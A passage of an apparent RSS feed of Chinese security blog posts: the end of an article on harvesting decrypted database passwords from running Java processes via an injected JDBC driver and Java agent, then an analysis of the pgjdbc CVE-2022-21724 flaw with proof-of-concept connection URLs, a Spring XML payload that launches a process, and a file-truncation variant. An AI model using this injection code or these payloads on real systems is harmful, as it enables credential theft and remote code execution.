class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> Connection connect(String url, Properties info) throws SQLException {</span></code><code><span class="code-snippet_outer">        add(url, info);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> int getMajorVersion() {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// TODO Auto-generated method stub</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> int getMinorVersion() {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// TODO Auto-generated method stub</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> Logger getParentLogger(){</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// TODO Auto-generated method stub</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {</span></code><code><span class="code-snippet_outer">        add(url, info);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> boolean jdbcCompliant() {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// TODO Auto-generated method stub</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> static Object getFieldValue(Object obj, String fieldName) throws Exception {</span></code><code><span class="code-snippet_outer">        Field f=<span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (obj instanceof Field){</span></code><code><span class="code-snippet_outer">            f=(Field)obj;</span></code><code><span class="code-snippet_outer">        }<span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            Method method=<span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">            Class cs=obj.getClass();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">while</span> (cs!=<span class="code-snippet__literal">null</span>){</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    f=cs.getDeclaredField(fieldName);</span></code><code><span class="code-snippet_outer">                    cs=<span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">                }<span class="code-snippet__keyword">catch</span> (Exception e){</span></code><code><span class="code-snippet_outer">                    cs=cs.getSuperclass();</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        f.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> f.<span class="code-snippet__keyword">get</span>(obj);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">这里需要注意两点<br/></span></strong></p><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><br/><strong style="box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"></span></strong></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">一.  在遍历registeredDrivers时会调用isDriverAllowed方法判断调用者的ClassLoader是否为数据库驱动的ClassLoader父级或者同级  Java为什么这么设计呢 因为获取数据库驱动涉及到了双亲委派相关的知识  这里举例A,B ClassLoader,如果A加载了一个数据库驱动,而B获取到A的加载数据库驱动 会导致在A被GC回收的时候会因为B引用了A导致A不会被释放  所以如果我们想获取当前进程所有的容器的数据库密码 我们需要把我们的驱动加载到系统类上</p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">二. 我们要把我们的数据库驱动放在第一位</p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">很简单是吧 有了这个东东我们不需要再反编译代码去找密钥了</p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">但是这种方法只适用于调用Java官方提供的DriverManager工厂类<br style="box-sizing: border-box;"/></p></section></section><section style="margin: 18px 0% 0px;box-sizing: border-box;"><section style="font-size: 12px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;line-height: 1.8;letter-spacing: 1px;padding: 0px 10px;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">实现原理(二)<br/></span></strong></p><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><br style="box-sizing: border-box;"/></span></strong></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">在上面我们知道数据库驱动都要兼容JDBC的接口也就是要实现Driver接口</p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">第三方数据库连接池也遵守了JDBC的规则 数据库连接池会调用对于驱动的Driver.connect方法获取数据库连接</p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">所以我们可以使用Java Agent直接去hook所有已经实现了Driver接口的类</p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">代码已开源在Github <a href="https://github.com/BeichenDream/InjectJDBC" target="_blank">https://github.com/BeichenDream/InjectJDBC</a><br style="box-sizing: border-box;"/></p></section></section><section style="margin: 18px 0% 0px;box-sizing: border-box;"><section style="font-size: 12px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;line-height: 1.8;letter-spacing: 1px;padding: 0px 10px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">第三方数据库连接池也遵守了JDBC的规则 数据库连接池会调用对于驱动的Driver.connect方法获取数据库连接</p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">所以我们可以使用Java Agent直接去hook所有已经实现了Driver接口的类</p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">代码已开源在Github <a href="https://github.com/BeichenDream/InjectJDBC" target="_blank">https://github.com/BeichenDream/InjectJDBC</a><br style="box-sizing: border-box;"/></p></section></section><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 95%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.425" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b19feb8a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJSVZxYKCUI1HPcumpicibwoWQIXicCeFvia6via1vEK0IHPXzmhhVq7Io8PDA%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="margin: 18px 0% 0px;box-sizing: border-box;"><section style="font-size: 12px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;line-height: 1.8;letter-spacing: 1px;padding: 0px 10px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">bingo</p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">输入命令java -jar DatabaseInject.jar list 获取所有正在运行的JVM</p></section></section><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 95%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.65" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="png" data-w="660" src="https://wechat2rss.xlab.app/img-proxy/?k=2bee2b78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJSNjuicpHNZFP7bib0CnIC4H3iaPYBJR9EuJbauEt0bqVSU5MDutdq5picWg%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="margin: 18px 0% 0px;box-sizing: border-box;"><section style="font-size: 12px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;line-height: 1.8;letter-spacing: 1px;padding: 0px 10px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">找到要注入的进程 这里以tomcat为例(什么都可以注只要是实现了jdbc的接口)</p></section></section><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 95%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.6235294" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="png" data-w="680" src="https://wechat2rss.xlab.app/img-proxy/?k=a56e48b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJS9vER8Ye7CqMg2GaEtxdN2nPd1lZ4RFeh9QuWnwNbFWKZG249uNuIAQ%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="margin: 18px 0% 0px;box-sizing: border-box;"><section style="font-size: 12px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;line-height: 1.8;letter-spacing: 1px;padding: 0px 10px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">再次刷新网页访问数据库，成功的获取了数据库解密后的密码</p></section></section><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.2206235" style="vertical-align: middle;max-width: 100%;box-sizing: border-box;" data-type="png" data-w="834" src="https://wechat2rss.xlab.app/img-proxy/?k=f892bd13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJSQu2j869nDc1MVbr59QXzAhmD7A75mnbzC37vOBuBMW6LxicuSCib5XVg%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="margin: 18px 0% 0px;box-sizing: border-box;"><section style="font-size: 12px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;line-height: 1.8;letter-spacing: 1px;padding: 0px 10px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section></section><section style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section></section><section style="display: inline-block;vertical-align: bottom;width: 10px;box-shadow: rgb(0, 0, 0) 0px 0px 0px;align-self: flex-end;flex: 0 0 auto;height: auto;box-sizing: border-box;"><section style="text-align: left;justify-content: flex-start;transform: translate3d(-10px, 0px, 0px);-webkit-transform: translate3d(-10px, 0px, 0px);-moz-transform: translate3d(-10px, 0px, 0px);-o-transform: translate3d(-10px, 0px, 0px);box-sizing: border-box;"><section style="display: inline-block;width: 20px;height: 54px;vertical-align: top;overflow: hidden;background-position: 50% 50%;background-repeat: no-repeat;background-size: cover;background-attachment: scroll;box-shadow: rgb(0, 0, 0) 0px 0px 0px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/ibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJS6J4p7SHod1pjkOkSJ0J15Vs6u38k63DgGAesVKJTDbY24WoKiaZV8icw/640?wx_fmt=png&#34;);box-sizing: border-box;"><section><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section><section style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><br/></p></section></section><p><span style="font-size: 14px;"></span><br/></p><p><br/></p><p><br/></p><p><br/></p>



<p><a href="2247485138">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=983d5545&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247485138%26idx%3D1%26sn%3D1229156e187fedd7b4aa4b1ac6c8f490%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 07 Mar 2022 11:01:00 +0800</pubDate>
    </item>
    <item>
      <title>PostgreSQL JDBC Driver RCE</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247485050&amp;idx=1&amp;sn=f4434c6d0a00d1812d4d9bb81f3cedf0</link>
      <description>CVE-2022-21724 PostgreSQL JDBC Driver RCE 分析</description>
      <content:encoded><![CDATA[<p>
原创 <span>Skay</span> <span>2022-02-25 14:09</span> <span style="display: inline-block;"></span>
</p>

<p>CVE-2022-21724 PostgreSQL JDBC Driver RCE 分析</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e773cf94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5icERicd470qlRfXvoCjBFZOMGLDibhNtHib9icPPaBOd8seEEIl7ayqocy3jP4OBTWDjibhCiciabZgESF0A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 14px;">当程序中JDBC 连接 URL 可控时，可能会造成安全问题。HITB2021SIN 中的分享议题 &#34;</span><span style="font-size: 14px;">Make JDBC Attacks Brilliant Again</span><span style="font-size: 14px;">&#34; 列举出了H2、IBM DB2、MODEShape、Apache Derby、SQLite等数据库Driver，在Connect URL可控情况下的安全问题。<br/></span></p><p><br/></p><p style="text-align: center;"><strong><span style="font-size: 20px;">一、Postgresql CVE-2022-21724</span></strong></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">近日披露了CVE-2022-21724，同样是在JDBC Connection URL可控情况下将会出现某些安全问题。</span></p><p><span style="font-size: 14px;">当攻击者控制 jdbc url 或属性时，使用 postgresql 库的系统将受到攻击。pgjdbc 根据通过 `authenticationPluginClassName`、`sslhostnameverifier`、`socketFactory`、`sslfactory`、`sslpasswordcallback` 连接属性提供的类名实例化插件实例。但是，驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。</span></p><p><strong><span style="font-size: 18px;">1.复现</span></strong></p><p><span style="font-size: 14px;">Github提供POC如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">DriverManager.getConnection(&#34;jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&amp;socketFactoryArg=<a href="http://target/exp.xml" target="_blank">http://target/exp.xml</a>&#34;);</span></code></pre></section><p><br/></p><p><span style="font-size: 14px;">可以看到是利用了Spring中的org.springframework.context.support.ClassPathXmlApplicationContext类，这里搭建环境参考</span><span style="font-size: 14px;">Spring Boot Connect to PostgreSQL Database Examples</span></p><p><span style="font-size: 14px;">测试Demo</span></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">package com.example.demo;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">/**</span></code><code><span class="code-snippet_outer"> * @auther Skay</span></code><code><span class="code-snippet_outer"> * @date 2022/2/18 0:18</span></code><code><span class="code-snippet_outer"> * @description</span></code><code><span class="code-snippet_outer"> */</span></code><code><span class="code-snippet_outer">import org.springframework.beans.factory.annotation.Autowired;</span></code><code><span class="code-snippet_outer">import org.springframework.boot.CommandLineRunner;</span></code><code><span class="code-snippet_outer">import org.springframework.boot.SpringApplication;</span></code><code><span class="code-snippet_outer">import org.springframework.boot.autoconfigure.SpringBootApplication;</span></code><code><span class="code-snippet_outer">import org.springframework.jdbc.core.BeanPropertyRowMapper;</span></code><code><span class="code-snippet_outer">import org.springframework.jdbc.core.JdbcTemplate;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">import java.sql.Types;</span></code><code><span class="code-snippet_outer">import java.util.List;</span></code><code><span class="code-snippet_outer">import java.util.Map;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">@SpringBootApplication</span></code><code><span class="code-snippet_outer">public class SpringJdbcTemplate2PostgreSqlApplication implements CommandLineRunner {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    @Autowired</span></code><code><span class="code-snippet_outer">    private JdbcTemplate jdbcTemplate;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    public static void main(String[] args) {</span></code><code><span class="code-snippet_outer">        SpringApplication.run(SpringJdbcTemplate2PostgreSqlApplication.class, args);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    @Override</span></code><code><span class="code-snippet_outer">    public void run(String... args) throws Exception {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Map Object&gt; map = jdbcTemplate.queryForMap(&#34;select * from tb_user WHERE id=?&#34;, new Object[]{1});</span></code><code><span class="code-snippet_outer">        System.out.println(map.toString());</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><br/></p><p><span style="font-size: 14px;">application.propertise</span></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">spring.datasource.url=jdbc:postgresql://192.168.33.179:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&amp;socketFactoryArg=<a href="http://192.168.33.179:9999/exp.xml" target="_blank">http://192.168.33.179:9999/exp.xml</a></span></code><code><span class="code-snippet_outer">spring.datasource.username=postgres</span></code><code><span class="code-snippet_outer">spring.datasource.password=postgresql</span></code></pre></section><p><br/></p><p><strong><span style="font-size: 18px;">2.分析</span></strong></p><p><span style="font-size: 14px;">简单看一下代码逻辑</span></p><p><span style="font-size: 14px;">org.postgresql.Driver#makeConnection</span></p><p><span style="font-size: 14px;">进入org.postgresql.jdbc.PgConnection类初始化逻辑</span></p><p><shape type="#_x0000_t75" filled="f"><imagedata title="image1"></imagedata></shape><img class="rich_pages wxw-img" data-ratio="0.36678832116788324" style="width:547.6199951171875px;height:201.02000427246094px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=43e9f5df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icERicd470qlRfXvoCjBFZOMtiaCVLsEEPhXbicm8XvJQWdhJrzqsVM3qabOsTSq07KxsibZmkccdDnjQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">——&gt; oorg.postgresql.jdbc.PgConnection#PgConnection</span></p><p><span style="font-size: 14px;">——&gt; org.postgresql.core.ConnectionFactory#openConnection</span></p><p><span style="font-size: 14px;">——&gt; org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl</span></p><p><span style="font-size: 14px;">这里会进入关键方法org.postgresql.core.SocketFactoryFactory#getSocketFactory</span></p><p><img class="rich_pages wxw-img" data-ratio="0.3905109489051095" style="width:547.6199951171875px;height:214.22999572753906px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=9d9dc310&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icERicd470qlRfXvoCjBFZOM6z3qXUR00lF5WYI5WibFib9Smx4RV70ib7qn1UicAxBDribeUe4wjzMc6iaw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">有一个if else逻辑，从Properties中获取socketFactoryClassName，如果为空则return默认的javax.net.SocketFactory，否则进入org.postgresql.util.ObjectFactory#instantiate逻辑</span></p><p><img class="rich_pages wxw-img" data-ratio="0.3266423357664234" style="width:547.6199951171875px;height:179.22000122070312px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=8cb61ed1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icERicd470qlRfXvoCjBFZOMLRE2ejZ4nc3YatojJqHmjvoFFgz7Po2cCjTtRa8iaaiavAnckukWlrUA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">进入org.postgresql.util.ObjectFactory#instantiate，会进入newInstance逻辑初始化socketFactory参入传入的org.springframework.context.support.ClassPathXmlApplicationContext&amp;socketFactoryArg类，且初始化参数也可用socketFactoryArg参数指定</span></p><p><img class="rich_pages wxw-img" data-ratio="0.458029197080292" style="width:547.6199951171875px;height:251.33999633789062px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=46fc7b44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icERicd470qlRfXvoCjBFZOMeV9PzhPujG3d8Cy7u5vicaEkjUC9euhvgKbqxDIvCSQ4lqicZtbNpp8A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">最终落地到org.springframework.context.support.ClassPathXmlApplicationContext#ClassPathXmlApplicationContext(java.lang.String)</span></p><p><span style="font-size: 14px;">org.springframework.context.support.ClassPathXmlApplicationContext这条链在JackSon反序列化漏洞中使用过(CVE-2017-17485)</span></p><p><span style="font-size: 14px;">poc.xml 内容为</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;beans xmlns=&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span></code><code><span class="code-snippet_outer">       xmlns:xsi=&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span></code><code><span class="code-snippet_outer">       xsi:schemaLocation=&#34;</span></code><code><span class="code-snippet_outer">     <a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a> <a href="http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;&gt;</span></code><code><span class="code-snippet_outer">    &lt;bean id=&#34;pb&#34; class=&#34;java.lang.ProcessBuilder&#34;&gt;</span></code><code><span class="code-snippet_outer">        &lt;constructor-arg value=&#34;calc.exe&#34; /&gt;</span></code><code><span class="code-snippet_outer">        &lt;property name=&#34;whatever&#34; value=&#34;#{ pb.start() }&#34;/&gt;</span></code><code><span class="code-snippet_outer">    &lt;/bean&gt;</span></code><code><span class="code-snippet_outer">&lt;/beans&gt;</span></code></pre></section><p><br/></p><p><span style="font-size: 14px;"> </span><br/></p><p><span style="font-size: 14px;">最终复现如下：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5213447171824973" data-s="300,640" style="" data-type="png" data-w="1874" src="https://wechat2rss.xlab.app/img-proxy/?k=0fb57bda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icERicd470qlRfXvoCjBFZOMRAYWWfcK03ftVfsnBW1NWYibNBoE1HJKEFCO2ntnqwuqTY8oEIvGkIQ%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="font-size: 18px;">3.Other</span></strong><br/></p><p><span style="font-size: 14px;">按照这个思路，我们只需找到符合这样条件的一个类，public构造方法中有且只有一个String参数，会造成一些敏感操作，这样找到了一个java.io.FileOutputStream，可以造成任意文件内容置空</span></p><p><span style="font-size: 14px;">Poc如下：spring.datasource.url=jdbc:postgresql://192.168.33.179:5432/test?socketFactory=java.io.FileOutputStream=D:\tmp\aaa.txt</span></p><p><span style="font-size: 18px;"><strong>4.补丁</strong></span></p><p><span style="font-size: 14px;"><a href="https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813" target="_blank">https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813</a></span><span style="font-size: 14px;"> 添加了代码逻辑验证该类是否实现了预期的接口</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4502955400322407" data-s="300,640" style="" data-type="png" data-w="1861" src="https://wechat2rss.xlab.app/img-proxy/?k=c013249d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icERicd470qlRfXvoCjBFZOMk5D9CZx4xXjRZAibmorO3IeutKMcz1R4ziacXqJ8oZurrKLyEcVXS7yQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><strong><span style="font-size: 20px;"><br/></span></strong></p><p style="text-align: center;"><strong><span style="font-size: 20px;">二、参考链接：<br/></span></strong></p><p style="text-align: center;"><br/><strong><span style="font-size: 20px;"></span></strong></p><p><span style="font-size: 14px;"><a href="https://su18.org/post/jdbc-connection-url-attack/" target="_blank">https://su18.org/post/jdbc-connection-url-attack/</a></span></p><p><span style="font-size: 14px;"><a href="https://paper.seebug.org/1832/" target="_blank">https://paper.seebug.org/1832/</a></span></p><p><span style="font-size: 14px;"><a href="https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4" target="_blank">https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4</a></span></p><p><br/></p>



<p><a href="2247485050">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a05048e5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247485050%26idx%3D1%26sn%3Df4434c6d0a00d1812d4d9bb81f3cedf0%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 25 Feb 2022 14:09:00 +0800</pubDate>
    </item>
    <item>
      <title>Bypass Authentication BurpSuit 插件</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247485029&amp;idx=1&amp;sn=c1a45885d1037f902f172da08d84341d</link>
      <description>Bypass Authentication BurpSuit 插件</description>
      <content:encoded><![CDATA[<p>
<span>Skay</span> <span>2022-01-11 16:38</span> <span style="display: inline-block;"></span>
</p>

<p>Bypass Authentication BurpSuit 插件</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b51759d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5icOsib9nKxKCJrsWS0giaYEOHWUHtnMHozr1olJwbBRz2lb2Pvh7FG3l7mw4YgGyCCcLW3VWQgFkPIw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


